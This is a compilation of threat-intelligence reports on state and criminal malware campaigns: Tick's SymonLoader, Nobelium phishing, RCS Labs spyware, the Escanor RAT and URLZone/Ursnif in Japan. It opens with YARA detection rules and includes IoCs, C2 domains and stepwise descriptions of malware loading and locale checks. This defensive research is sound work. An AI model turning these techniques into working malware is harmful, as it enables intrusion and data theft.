$pudp1 = "|UDP://" xor(0x01-0x2E)
$pudp2 = "|UDP://" xor(0x30-0xFF)
// WSS
$wss1 = "WSS://" xor(0x01-0x2E)
$wss2 = "WSS://" xor(0x30-0x52)
$wss3 = "WSS://" xor(0x54-0xFF)
$pwss1 = "|WSS://" xor(0x01-0x2E)
$pwss2 = "|WSS://" xor(0x30-0x52)
$pwss3 = "|WSS://" xor(0x54-0xFF)
// HTTP
$http1 = "+http" xor(0x01-0x73)
$http2 = "+http" xor(0x75-0xFF)
$phttp1 = "|+http" xor(0x01-0x73)
$phttp2 = "|+http" xor(0x75-0xFF)
// Sleep value
$zeros1 = "00|" xor(0x01-0x2F)
$zeros2 = "00|" xor(0x31-0xFF)
condition:
filesize < 10MB and
(uint32(0) == 0x464c457f or (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550)) and
for any of ($tcp*,$udp*,$wss*,$http*): (# == 2 and @[2] - @[1] < 200) and
for any of ($ptcp*,$pudp*,$pwss*,$phttp*): (# == 1) and
any of ($zeros*)
}
```
```yaml
rule M_Hunting_MSIL_BADPOTATO
{
meta:
author = "Mandiant"
description = "Hunting for BADPOTATO samples based on default strings found on the PE VERSIONINFO resource."
strings:
$dotnetdll = "\x00_CorDllMain\x00"
$dotnetexe = "\x00_CorExeMain\x00"
$s1 = { 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 }
$s2 = { 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 2E 00 65 00 78 00 65 00 }
$s3 = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 2E 00 65 00 78 00 65 00 }
$s4 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 }
condition:
(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and 1 of ($dotnet*) and 1 of ($s*)
}
```
## Acknowledgements
We would like to thank our incident response consultants, Managed Defense responders, and FLARE reverse engineers who enable this research. In addition, we would like to thank Alyssa Rahman, Dan Perez, Ervin Ocampo, Blaine Stancill, and Nick Richard for their technical reviews. |
# Tick Group Weaponized Secure USB Drives to Target Air-Gapped Critical Systems
**By Kaoru Hayashi and Mike Harbison**
**June 22, 2018**
## Summary
Tick is a cyberespionage group primarily targeting organizations in Japan and the Republic of Korea. The group is known to conduct attack campaigns with various custom malware such as Minzen, Datper, Nioupale (aka Daserf), and HomamDownloader. Unit 42 last wrote about the Tick group in July 2017.
Recently, Palo Alto Networks Unit 42 discovered the Tick group targeted a specific type of secure USB drive created by a South Korean defense company. The USB drive and its management system have various features to follow security guidelines in South Korea. The weaponization of a secure USB drive is an uncommon attack technique and likely done in an effort to spread to air-gapped systems, which are systems that do not connect to the public internet. Our research shows that the malware used in these attacks will only try to infect systems running Microsoft Windows XP or Windows Server 2003. This indicates an intentional targeting of older, out-of-support versions of Microsoft Windows installed on systems with no internet connectivity. Air-gapped systems are common practice in many countries for government, military, and defense contractors, as well as other industry verticals.
We have not identified any public reporting on this attack, and we suspect the Tick group used the malware described in this report in attacks multiple years ago. Based on the data collected, we do not believe this malware is part of any active threat campaign. Our picture of this past attack is incomplete at this time. Based on our research thus far, we are able to sketch out the following hypothesized attack scenario:
1. The Tick Group somehow compromised a secure type of USB drive and loaded a malicious file onto an unknown number of them. These USB drives are supposed to be certified as secure by the South Korean ITSCC (English).
2. The Tick Group created a specific malware we are calling SymonLoader that somehow gets on older Windows systems and continuously looks for these specific USB drives.
3. SymonLoader specifically targets Windows XP and Windows Server 2003 systems ONLY.
4. If SymonLoader detects the presence of a specific type of secure USB drive, it will attempt to load the unknown malicious file using APIs that directly access the file system.
In the research below, we outline our findings around SymonLoader. We do not currently have either a compromised USB drive nor the unknown malicious file we believe is implanted on these devices. Because of this, we are unable to describe the full attack sequence. We are also unable to determine how these USB drives have been compromised. Specifically, we do not know if there has been a successful compromise in the supply chain making these devices, or if these have been compromised post-manufacturing and distributed using other means such as social engineering.
## Tick and Trojanized Legitimate Software
Unit 42 hasn’t identified the initial delivery method; the overview of the infection process is shown below.
First, the attacker tricks users with a Trojanized version of legitimate software to install the loader program, which is a new tool to Tick we’ve named “SymonLoader”. When executed, the loader starts monitoring storage device changes on a compromised machine. If SymonLoader detects the targeted type of secure USB drive, it attempts to access the storage through the device driver corresponding to the secure USB and checks for strings specific to one type of secure USB in the drive information fields. Then, it accesses a predefined location of the storage on the USB and extracts an unknown PE file.
As we described in a previous blog last July, the Tick group Trojanized a legitimate program and embedded malware called HomamDownloader. The attackers then sent the Trojanized legitimate applications as attachments to spear phishing email targets. When executed, the Trojanized legitimate application drops HomamDownloader and installs the legitimate program. Recipients may not be aware of the malware as the legitimate application works as expected.
In our research into these latest attacks, we found additional legitimate Trojanized Korean language software since publishing our blog last year. Similar to the previous samples we examined in July 2017, these newly Trojanized legitimate programs also drop HomamDownloader. Also like we saw in our July 2017 research, HomamDownloader can install other malicious files from the remote C2 server.
| Trojanized Legitimate Software | SHA256 |
|--------------------------------|--------|
| Movie Player installer | b1bb1d5f178b064eb1d7c9cc7cadcf8b3959a940c14cee457ce3aba5795660aa |
| Industrial battery monitoring software | 3227d1e39fc3bc842245ccdb16eeaadad3bcd298e811573b2e68ef2a7077f6 |
| Storage encryption software | 92e0d0346774127024c672cc7239dd269824a79e85b84c532128fd9663a0ce78 |
| File encryption software | 33665d93ab2a0262551c61ec9a3adca2c2b8dfea34e6f3f723274d88890f6ceb |
During our investigation, we found an interesting sample on January 21, 2018. Similar to the samples listed above, this sample is a Trojanized version of a legitimate program and drops malware. In this case, the Trojanized application is a Japanese language GO game. Instead of installing HomamDownloader like we observed in July 2017, this Trojanized program installs a new loader we’ve named SymonLoader.
| Trojanized Legitimate Software | SHA256 |
|--------------------------------|--------|
| GO Game | 8549dcbdfc6885e0e7a1521da61352ef4f084d969dd30719166b47fdb204828a |
Despite the differences from previous samples, we believe this sample is related to the Tick group because the shellcode in the Trojanized Japanese game is exactly the same as that found in the Trojanized Korean programs described earlier. Also, SymonLoader shares code with HomamDownloader. The Tick group is known to develop and consistently update custom tools. As such, code reuse like this is consistent with their development practices.
## Secure USB
SymonLoader first checks the operating system version of the target host and if it is newer than Windows XP or Windows Server 2003, it stops working. According to the timestamp in the PE header, the malware was created on 26 September 2012. Both Windows 7 and Windows Server 2008 were already released by then if the timestamp value is not modified.
After checking the OS version, SymonLoader creates a hidden window named “device monitor” that starts monitoring storage device changes on the compromised system. When a removable drive is connected, the malware checks the drive letter and drive type. If the drive letter is not A or B, and the drive type is not a CDROM, the malware calls CreateFile API and gets a handle to the storage device. By excluding drives A and B (typically used for floppy drives) and CDROM drive types, it appears likely that the malware is targeting removable USB drives.
Next, the malware calls the DeviceIoControl() function with an undocumented custom control code, 0xE2000010. The control code consists of four different types of values: DeviceType, Function, Access, and Method. In this case, the DeviceType value is 0xE200 computed as: (0x0E2000010 & 0xffff0000)>>0x10. According to Microsoft, this specific DeviceType value should be in the range for third-party vendors. To function properly, the third-party driver needs to be present on the compromised system before the malware calls DeviceIoControl() with the custom control code 0xE2000010.
SymonLoader gets device information by SCSI INQUIRY command using the IOCTL_SCSI_PASS_THROUGH parameter and determines if it is the targeted drive by searching for a specific string in the Vendor or Product identification on INQUIRY data. Our research into the string used in these searches showed a company in the South Korea Defense Industry whose name matched the string. This company develops information and communication security equipment used by military, police, government agencies, and public institutions. In a press release, this company announced that they make secure USB storage devices that are certified to meet security requirements set out by South Korea’s IT Security Certification Center (ITSCC).
In South Korea, certain organizations are required to follow the “USB storage medium guideline” and use only the devices passed the audit by the government agency. For example, the guideline of the Ministry of Unification of South Korea defines the USB memory and management system introduction procedure.
“According to ‘Guidelines for Security Management of Auxiliary Storage Media such as USB Memory’, the headquarters security officer shall request the National Intelligence Service to verify the security compliance to introduce USB memory.”
We found the third-party device driver in question in the installer of the secure USB drive in a public sample repository and confirmed it supports the custom control code, 0xE2000010. The driver provides some functions to applications, including access to the corresponding secure USB volumes. We feel this evidence shows that the malware attempts to work only on the secure USB product made by this particular company.
## Loading Hidden Module
If SymonLoader finds it is on a Windows XP or Windows Server 2003 system and finds that a newly attached device is a USB drive made by this particular company, then it will extract an unknown executable file from the USB. While we do not have this file, we can glean information about it by analyzing SymonLoader and the third-party driver. The attacker encrypted the unknown executable file and concealed it at the ending part of the secure USB storage in advance. The hidden data is not accessible through logical file operation APIs, such as ReadFile(). Instead, SymonLoader uses Logical Block Addressing (LBA) and SCSI commands to read the data physically from the particular expected location on the removable drive.
LBA is a simple linear addressing scheme. Storage is divided into blocks by fixed size, and each block has a number starting from zero to N-1, depending on the volume size. Applications can specify the block number and access the data by SCSI commands.
Finally, SymonLoader saves the extracted file in the temporary directory on the local disk and executes it. The procedure is as follows:
1. Obtains final Logical Block Address (LBA) of the storage “N-1” by using the READ CAPACITY (10) command.
2. Reads the third last block “N-3” by READ (10) command and decrypts it.
3. From the decrypted data, gets the LBA “X” where the main module locates.
4. Loads data from LBA “X” to “N-4” by READ (10) command and decrypts it.
5. Saves the decrypted file as %Temp%\[random characters].tmp and executes it.
6. Writes hostname and local time of the compromised system at LBA “N-2” by SAVE (10) command.
## Conclusion
The Tick group uses Trojanized legitimate applications to trick victims into installing first stage malware, mostly HomamDownloader. In this research, we identified a previously unknown loader malware being dropped instead of HomamDownloader, which was most likely used in attacks multiple years ago. In contrast to HomamLoader, which requires an Internet connection to reach its C2 server to download additional payloads, SymonLoader attempts to extract and install an unknown hidden payload from a specific type of secure USB drive when it’s plugged into a compromised system. This technique is uncommon and hardly reported among other attacks in the wild.
While we do not have a copy of the file hidden on the secure USB, we have more than enough information to determine it is more than likely malicious. Weaponizing a secure USB drive is an uncommon technique and likely done in an effort to compromise air-gapped systems, which are systems that do not connect to the public internet. Some industries or organizations are known for introducing air gapping for security reasons. In addition, outdated versions of operating systems are often used in those environments because of no easy-update solutions without internet connectivity. When users are not able to connect to external servers, they tend to rely on physical storage devices, particularly USB drives, for data exchange. The SymonLoader and secure USB drive discussed in this blog may fit for this circumstance.
Palo Alto Networks customers are protected from these threats in the following ways:
1. All samples discussed are classified as malicious by the WildFire sandbox platform.
2. All identified domains have been classified as malicious.
3. AutoFocus users can track the malware described in this report using Tick campaign tag, SymonLoader, and HomamDownloader malware tags.
4. Customers running Traps are protected from the discussed threats.
## IoCs
**SymonLoader**
Malformed Legitimate software SHA256
8549dcbdfc6885e0e7a1521da61352ef4f084d969dd30719166b47fdb204828a
SysmonLoader SHA256
31aea8630d5d2fcbb37a8e72fe4e096d0f2d8f05e03234645c69d7e8b59bb0e8
Mutex
SysMonitor_3A2DCB47
File Path
%ProgramFiles%\Windows NT\Accessories\Microsoft\msxml.exe
%UserProfile%\Applications\Microsoft\msxml.exe
Registry Entry
HKLM\Software\Microsoft\Windows\CurrentVersion\run\“xml” = %ProgramFiles%\Windows NT\Accessories\Microsoft\msxml.exe
HKCU\Software\Microsoft\Windows\CurrentVersion\run\“xml” = %UserProfile%\Applications\Microsoft\msxml.exe
**HomamDownloader**
Trojanized Legitimate Software SHA256
b1bb1d5f178b064eb1d7c9cc7cadcf8b3959a940c14cee457ce3aba5795660aa
3227d1e39fc3bc842245ccdb16eeaadad3bcd298e811573b2e68ef2a7077f6
92e0d0346774127024c672cc7239dd269824a79e85b84c532128fd9663a0ce78
33665d93ab2a0262551c61ec9a3adca2c2b8dfea34e6f3f723274d88890f6ceb
HomamDownloader SHA256
019874898284935719dc74a6699fb822e20cdb8e3a96a7dc8ec4f625e3f1116e
ee8d025c6fea5d9177e161dbcedb98e871baceae33b7a4a12e9f73ab62bb0e38
f817c9826089b49d251b8a09a0e9bf9b4b468c6e2586af60e50afe48602f0bec
C2 of HomamDownloader
pre.englandprevail[.]com |
# Justice Department Announces Court-Authorized Seizure of Domain Names Used in Furtherance of Spear-Phishing Campaign Posing as U.S. Agency for International Development
**June 1, 2021**
**Department of Justice**
**Office of Public Affairs**
FOR IMMEDIATE RELEASE
Domain Names Were in Part Used to Control a Cobalt Strike Software Tool that the Actors Implanted on Victim Networks
WASHINGTON – On May 28, pursuant to court orders issued in the Eastern District of Virginia, the United States seized two command-and-control (C2) and malware distribution domains used in recent spear-phishing activity that mimicked email communications from the U.S. Agency for International Development (USAID). This malicious activity was the subject of a May 27 Microsoft security alert, titled “New sophisticated email-based attack from Nobelium,” and a May 28 FBI and Cybersecurity and Infrastructure Security Agency joint cybersecurity advisory.
The Department’s seizure of the two domains was aimed at disrupting the malicious actors’ follow-on exploitation of victims, as well as identifying compromised victims. However, the actors may have deployed additional backdoor accesses between the time of the initial compromises and last week’s seizures.
“Last week’s action is a continued demonstration of the Department’s commitment to proactively disrupt hacking activity prior to the conclusion of a criminal investigation,” said Assistant Attorney General John C. Demers for the Justice Department’s National Security Division. “Law enforcement remains an integral part of the U.S. government’s broader disruption efforts against malicious cyber-enabled activities, even prior to arrest, and we will continue to evaluate all possible opportunities to use our unique authorities to act against such threats.”
“Cyber intrusions and spear-phishing email attacks can cause widespread damage throughout affected computer networks, and can result in significant harm to individual victims, government agencies, NGOs, and private businesses,” said Acting U.S. Attorney Raj Parekh for the Eastern District of Virginia. “As demonstrated by the court-authorized seizure of these malicious domains, we are committed to using all available tools to protect the public and our government from these worldwide hacking threats.”
“Friday’s court-authorized domain seizures reflect the FBI Washington Field Office’s continued commitment to cyber victims in our region,” said Assistant Director in Charge Steven M. D’Antuono of the FBI’s Washington Field Office. “These actions demonstrate our ability to quickly respond to malicious cyber activities by leveraging our unique authorities to disrupt our cyber adversaries.”
“The FBI remains committed to disrupting this type of malicious cyber activity targeting our federal agencies and the American public,” said Assistant Director Bryan Vorndran of the FBI’s Cyber Division. “We will continue to use all of the tools in our toolbelt and leverage our domestic and international partnerships to not only disrupt this type of hacking activity but to impose risk and consequences upon our adversaries to combat these threats.”
On or about May 25, malicious actors commenced a wide-scale spear-phishing campaign leveraging a compromised USAID account at an identified mass email marketing company. Specifically, the compromised account was used to send spear-phishing emails, purporting to be from USAID email accounts and containing a “special alert,” to thousands of email accounts at over one hundred entities.
Upon a recipient clicking on a spear-phishing email’s hyperlink, the victim computer was directed to download malware from a sub-domain of theyardservice[.]com. Using that initial foothold, the actors then downloaded the Cobalt Strike tool to maintain persistent presence and possibly deploy additional tools or malware to the victim’s network. The actors’ instance of the Cobalt Strike tool received C2 communications via other subdomains of theyardservice[.]com, as well as the domain worldhomeoutlet[.]com. It was those two domains that the Department seized pursuant to the court’s seizure order.
The National Security Division’s Counterintelligence and Export Control Section and the United States Attorney’s Office for the Eastern District of Virginia are investigating this matter in coordination with the FBI’s Cyber Division and Washington Field Office. |
# Spyware Vendor Targets Users in Italy and Kazakhstan
**Benoit Sevens**
June 23, 2022
Google has been tracking the activities of commercial spyware vendors for years and taking steps to protect people. Just last week, Google testified at the EU Parliamentary hearing on “Big Tech and Spyware” about the work we have done to monitor and disrupt this thriving industry.
Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors. TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.
Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits. This makes the Internet less safe and threatens the trust on which users depend.
Today, alongside Google’s Project Zero, we are detailing capabilities we attribute to RCS Labs, an Italian vendor that uses a combination of tactics, including atypical drive-by downloads as initial infection vectors, to target mobile users on both iOS and Android. We have identified victims located in Italy and Kazakhstan.
## Campaign Overview
All campaigns TAG observed originated with a unique link sent to the target. Once clicked, the page attempted to get the user to download and install a malicious application on either Android or iOS. In some cases, we believe the actors worked with the target’s ISP to disable the target’s mobile data connectivity. Once disabled, the attacker would send a malicious link via SMS asking the target to install an application to recover their data connectivity. We believe this is the reason why most of the applications masqueraded as mobile carrier applications. When ISP involvement is not possible, applications are masqueraded as messaging applications.
An example screenshot from one of the attacker-controlled sites, www.fb-techsupport[.]com. The page, in Italian, asks the user to install one of these applications in order to recover their account. Looking at the code of the page, we can see that only the WhatsApp download links are pointing to attacker-controlled content for Android and iOS users.
## iOS Drive-By
To distribute the iOS application, attackers simply followed Apple instructions on how to distribute proprietary in-house apps to Apple devices and used the itms-services protocol with the following manifest file and using com.ios.Carrier as the identifier.
The resulting application is signed with a certificate from a company named 3-1 Mobile SRL (Developer ID: 58UP7GFWAA). The certificate satisfies all of the iOS code signing requirements on any iOS devices because the company was enrolled in the Apple Developer Enterprise Program.
These apps still run inside the iOS app sandbox and are subject to the exact same technical privacy and security enforcement mechanisms (e.g., code side loading) as any App Store apps. They can, however, be sideloaded on any device and don't need to be installed via the App Store. We do not believe the apps were ever available on the App Store.
The app is broken up into multiple parts. It contains a generic privilege escalation exploit wrapper which is used by six different exploits. It also contains a minimalist agent capable of exfiltrating interesting files from the device, such as the WhatsApp database.
The app we analyzed contained the following exploits:
- CVE-2018-4344 internally referred to and publicly known as LightSpeed.
- CVE-2019-8605 internally referred to as SockPort2 and publicly known as SockPuppet.
- CVE-2020-3837 internally referred to and publicly known as TimeWaste.
- CVE-2020-9907 internally referred to and publicly known as AveCesare.
- CVE-2021-30883 internally referred to as Clicked2, marked as being exploited in-the-wild by Apple in October 2021.
- CVE-2021-30983 internally referred to as Clicked3, fixed by Apple in December 2021.
All exploits used before 2021 are based on public exploits written by different jailbreaking communities. At the time of discovery, we believe CVE-2021-30883 and CVE-2021-30983 were two 0-day exploits. In collaboration with TAG, Project Zero has published the technical analysis of CVE-2021-30983.
## Android Drive-By
Installing the downloaded APK requires the victim to enable installation of applications from unknown sources. Although the applications were never available in Google Play, we have notified the Android users of infected devices and implemented changes in Google Play Protect to protect all users.
## Android Implant
This analysis is based on fe95855691cada4493641bc4f01eb00c670c002166d6591fe38073dd0ea1d001 that was uploaded to VirusTotal on May 27. We have not identified many differences across versions. This is the same malware family that was described in detail by Lookout on June 16.
The Android app disguises itself as a legitimate Samsung application via its icon. When the user launches the application, a webview is opened that displays a legitimate website related to the icon.
Upon installation, it requests many permissions via the Manifest file. The configuration of the application is contained in the res/raw/out resource file. The configuration is encoded with a 105-byte XOR key. The decoding is performed by a native library libvoida2dfae4581f5.so that contains a function to decode the configuration. A configuration looks like the following:
Older samples decode the configuration in the Java code with a shorter XOR key. The C2 communication in this sample is via Firebase Cloud Messaging, while in other samples, Huawei Messaging Service has been observed in use. A second C2 server is provided for uploading data and retrieving modules.
While the APK itself does not contain any exploits, the code hints at the presence of exploits that could be downloaded and executed. Functionality is present to fetch and run remote modules via the DexClassLoader API. These modules can communicate events to the main app. The names of these events show the capabilities of these modules.
TAG did not obtain any of the remote modules.
## Protecting Users
This campaign is a good reminder that attackers do not always use exploits to achieve the permissions they need. Basic infection vectors and drive-by downloads still work and can be very efficient with the help from local ISPs.
To protect our users, we have warned all Android victims, implemented changes in Google Play Protect, and disabled Firebase projects used as C2 in this campaign.
## How Google is Addressing the Commercial Spyware Industry
We assess, based on the extensive body of research and analysis by TAG and Project Zero, that the commercial spyware industry is thriving and growing at a significant rate. This trend should be concerning to all Internet users.
These vendors are enabling the proliferation of dangerous hacking tools and arming governments that would not be able to develop these capabilities in-house. While use of surveillance technologies may be legal under national or international laws, they are often found to be used by governments for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.
Aside from these concerns, there are other reasons why this industry presents a risk to the Internet. While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret poses a severe risk to the Internet especially if the vendor gets compromised. This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.
This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.
Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers, governments, and technology platforms. We look forward to continuing our work in this space and advancing the safety and security of our users around the world.
## Indicators of Compromise
### Sample Hashes
APK available on VirusTotal:
- e38d7ba21a48ad32963bfe6cb0203afe0839eca9a73268a67422109da282eae3
- fe95855691cada4493641bc4f01eb00c670c002166d6591fe38073dd0ea1d001
- 243ea96b2f8f70abc127c8bc1759929e3ad9efc1dec5b51f5788e9896b6d516e
- a98a224b644d3d88eed27aa05548a41e0178dba93ed9145250f61912e924b3e9
- c26220c9177c146d6ce21e2f964de47b3dbbab85824e93908d66fa080e13286f
- 0759a60e09710321dfc42b09518516398785f60e150012d15be88bbb2ea788db
- 8ef40f13c6192bd8defa7ac0b54ce2454e71b55867bdafc51ecb714d02abfd1a
- 9146e0ede1c0e9014341ef0859ca62d230bea5d6535d800591a796e8dfe1dff9
- 6eeb683ee4674fd5553fdc2ca32d77ee733de0e654c6f230f881abf5752696ba
### Drive-by Download Domains
- fb-techsupport[.]com
- 119-tim[.]info
- 133-tre[.]info
- 146-fastweb[.]info
- 155-wind[.]info
- 159-windtre[.]info
- iliad[.]info
- kena-mobile[.]info
- mobilepays[.]info
- my190[.]info
- poste-it[.]info
- ho-mobile[.]online
### C2 Domains
- project1-c094e[.]appspot[.]com
- fintur-a111a[.]appspot[.]com
- safekeyservice-972cd[.]appspot[.]com
- comxdjajxclient[.]appspot[.]com
- comtencentmobileqq-6ffb5[.]appspot[.]com
### C2 IPs
- 93[.]39[.]197[.]234
- 45[.]148[.]30[.]122
- 2[.]229[.]68[.]182
- 2[.]228[.]150[.]86 |
# Escanor Malware Delivered in Weaponized Microsoft Office Documents
Resecurity, a Los Angeles-based cybersecurity company protecting Fortune 500 worldwide, identified a new RAT (Remote Administration Tool) advertised in Dark Web and Telegram called Escanor. The threat actors offer Android-based and PC-based versions of RAT, along with HVNC module and exploit builder to weaponize Microsoft Office and Adobe PDF documents to deliver malicious code.
The tool has been released for sale on January 26th this year initially as a compact HVNC implant allowing to set up a silent remote connection to the victim’s computer, and later transformed into a full-scale commercial RAT with a rich feature-set. Escanor has built a credible reputation in Dark Web, and attracted over 28,000 subscribers on the Telegram channel. In the past, the actor with the exact same moniker released ‘cracked’ versions of other Dark Web tools, including Venom RAT, and Pandora HVNC which were likely used to enrich further functionality of Escanor.
The mobile version of Escanor (also known as “Esca RAT”) is actively used by cybercriminals to attack online-banking customers by interception of OTP codes. The tool can be used to collect GPS coordinates of the victim, monitor keystrokes, activate hidden cameras, and browse files on the remote mobile devices to steal data.
“Fraudsters monitor the location of the victim, and leverage Esca RAT to steal credentials to online-banking platforms and perform unauthorized access to compromised account from the same device and IP – in such case fraud prevention teams are not able to detect it and react timely,” said Ali Saifeldin, a malware analyst with Resecurity, Inc. who investigated several recent online-banking theft cases.
Most samples detected recently were delivered using Escanor Exploit Builder. The actors are using decoy documents imitating invoices and notifications from popular online services.
Notably, the domain name 'escanor[.]live' has been previously identified in connection to AridViper (APT-C-23 / GnatSpy) infrastructure. APT-C-23 as a group was active within the Middle Eastern region, known to particularly target Israeli military assets. After the report was released by Qihoo 360, the Escanor RAT actor released a video detailing how the tool should be used to bypass AV detection.
The majority of victims infected by Escanor have been identified in the U.S., Canada, UAE, Saudi Arabia, Kuwait, Bahrain, Egypt, Israel, Mexico, and Singapore with some infections in South-East Asia. |
# URLZone Top Malware in Japan, While Emotet and LINE Phishing Round Out the Landscape
**Overview**
In many ways, the threat landscape in Japan resembles global trends, with the regionalization and widespread distribution of Emotet, and the steady increase in campaigns that utilize sophisticated social engineering techniques. However, while Emotet dominated malicious message volumes in many regions worldwide, URLZone, which primarily appears in Japan, remains the top email threat by volume in the region. URLZone is currently loading the Ursnif banking Trojan configured with web injects for Japanese banks, making Ursnif a top payload in Japan as well. In the past, we have observed the long-running URLZone banker loading Vawtrak and other banking Trojans and continue to monitor the distribution of both URLZone and Emotet as the latter further cements its dominance in the global landscape. It is worth noting that, while Emotet appears to be in something of a hiatus since the end of May, URLZone/Ursnif campaigns have continued, paralleling Ursnif activity in other geographies.
**Campaigns**
Since the beginning of 2019, numerous threat actors tracked by Proofpoint researchers conducted dozens of high-volume campaigns involving hundreds of thousands of messages that specifically geo-targeted Japan. These campaigns affected thousands of Japanese organizations, delivering banking Trojans, phishing attacks, impostor attacks, and spam at scale. In particular, these campaigns included emails delivering the URLZone banking Trojan and engaging in LINE credential phishing. Many of these threats target Japan specifically; however, the region is also frequently included in global or multinational campaigns. These campaigns are typically sent by financially motivated cybercriminals.
Below is a brief overview of the malware payloads we frequently observe in campaigns affecting Japanese organizations.
**URLZone and Ursnif**
URLZone, also known as Bebloh or Shiotob, is a banking Trojan that first appeared in 2009. This is a well-established banker that we continue to observe regularly in Japanese geo-targeted campaigns a decade after its introduction. However, at this point, it appears that a single, high-volume actor remains the only distributor of URLZone. Proofpoint researchers have observed email messages containing malicious Microsoft Excel documents with macros that, when enabled, install URLZone. In these campaigns, URLZone appears to be used as an initial payload, which then installs Ursnif.
Many of these campaigns reference invoices or payments. One recent campaign appeared to come from multiple random sending addresses with subjects such as:
- "FW: 請求書を送信致します。" ("We will send you an invoice")
- "Re: 請求書の送付" ("Send invoice")
- "Re: 請求書送付のお願い" ("Request for billing")
- "契約書雛形のご送付" ("Sending the contract form")
- "ご案内[お支払い期限:06月18日]" ("Information [Payment Deadline: Jun. 18]")
- "請求書の件です。" ("Invoice")
- "請求書送付" ("Invoicing")
Most of these campaigns appear to originate with a single actor who operates primarily in Japan and Italy. The actor frequently employs steganography—embedding malicious code in the “least significant bits” of color data in image files—as part of their geo-targeting. The macros also use multiple layers of obfuscation and various locale and language checks to ensure the victim machine is in Japan before downloading and decoding the initial payload. Examples of recent language and locale checks include:
- Excel: "Application.International(xlCountrySetting)" begins with "8" (international Dialling Code for Japan is 81)
- PowerShell error for non-existent command contains "用語 " ("The term" in Japanese)
- PowerShell cmdlet: 'Get-date' (needs to contain "年" - "Year" in Japanese)
- PowerShell cmdlet: 'Get-Culture."LCID"' needs to contain "04" (Japanese LCID is "1041")
Once URLZone determines the host environment is suitable, URLZone downloads Ursnif, which begins stealing information and operating as a more “typical” banker. Proofpoint researchers have tracked Ursnif in Japan-focused campaigns since at least March 2017. While the actor we refer to as TA544 is responsible for much of the recent Ursnif volume in Japan via initial URLZone infections, we have observed other actors distributing Ursnif variants directly. At this point, Ursnif is the most common commodity banker, both worldwide and in Japan.
**Emotet**
Emotet is a robust global botnet that loads third-party malware and its own modules used for spamming, credential stealing, network spreading, and email harvesting. On April 12, 15, and 16, an actor tracked by Proofpoint threat researchers as TA542 launched high-volume campaigns impacting Japan (among other countries) and targeting a wide range of industries. A large percentage of the messages in these campaigns were sent to organizations in Japan, which was noteworthy because Japan was not one of the core geographies consistently targeted by Emotet. However, the actors behind Emotet are adept at localization and have been expanding their activities into new regions regularly. Since the end of May, Emotet campaigns have largely paused; we will continue to monitor for new activity in Japan and elsewhere.
**TA505 and FlawedAmmyy**
In February of 2019, Proofpoint researchers observed new Japan-focused campaigns from TA505, a threat actor that recently has been focused on China, South Korea, Latin America, and the Middle East, distributing the FlawedAmmyy Remote Access Trojan (RAT). FlawedAmmyy is based on the leaked source code for Version 3 of the Ammyy Admin remote desktop software, a shareware utility used for IT support purposes. As such, FlawedAmmyy contains the functionality of the leaked version, including:
- Remote Desktop control
- File system manager
- Proxy support
- Audio Chat
FlawedAmmyy is distributed via emails with document attachments. These attachments are either Microsoft Excel (.xls) or Word (.doc) attachments with macros that, if enabled, download FlawedAmmyy.
**Human Centric Threats**
While a variety of emails distributing malware demonstrate examples of targeting and payloads unique to Japan, internationally ubiquitous phishing attacks, business email compromise (BEC), and other forms of imposter attacks remain ongoing threats. In particular, we regularly observe:
**Credential Phishing**
This is the most common type of phishing observed by Proofpoint researchers. These emails target a victim’s login credentials such as usernames and passwords for a range of sites and services. These campaigns are usually high-volume emails with linked or embedded spoofs of login pages for reputable entities including banks, universities, electronic signature services, and social media and file sharing platforms. One notable type of credential phishing we have observed targets users of the LINE service. LINE is one of the most popular messaging apps in Japan, Thailand, and Taiwan, with approximately 165 million users across those countries. LINE is similar to Whatsapp, Facebook Messenger, or WeChat in China and has roughly 78 million monthly active users in Japan. Proofpoint researchers have been observing emails messages with LINE credential phishing links targeting organizations in Japan. For example, these messages used subjects such as "[LINE]安全認証" which translates to "[LINE] Safety certification".
**Impostor Threats**
Impostor threats include malicious emails with the intent of attempting to impersonate a person, commercial entity, or respected brand, such as a bank or an internet service provider. This type of imposter activity could be used for financial fraud, including business email compromise (BEC), in conjunction with other social engineering mechanisms to achieve their desired result, whether delivery of malware, credential phishing, or further network compromise. While BEC remains fairly rare in Japan when compared with other nations, due to the uniqueness and difficulty of interacting in the Japanese language for non-native speakers and thus presenting difficulty for constructing effective lures, this type of human factor-oriented attack is increasing in popularity worldwide.
**Conclusion**
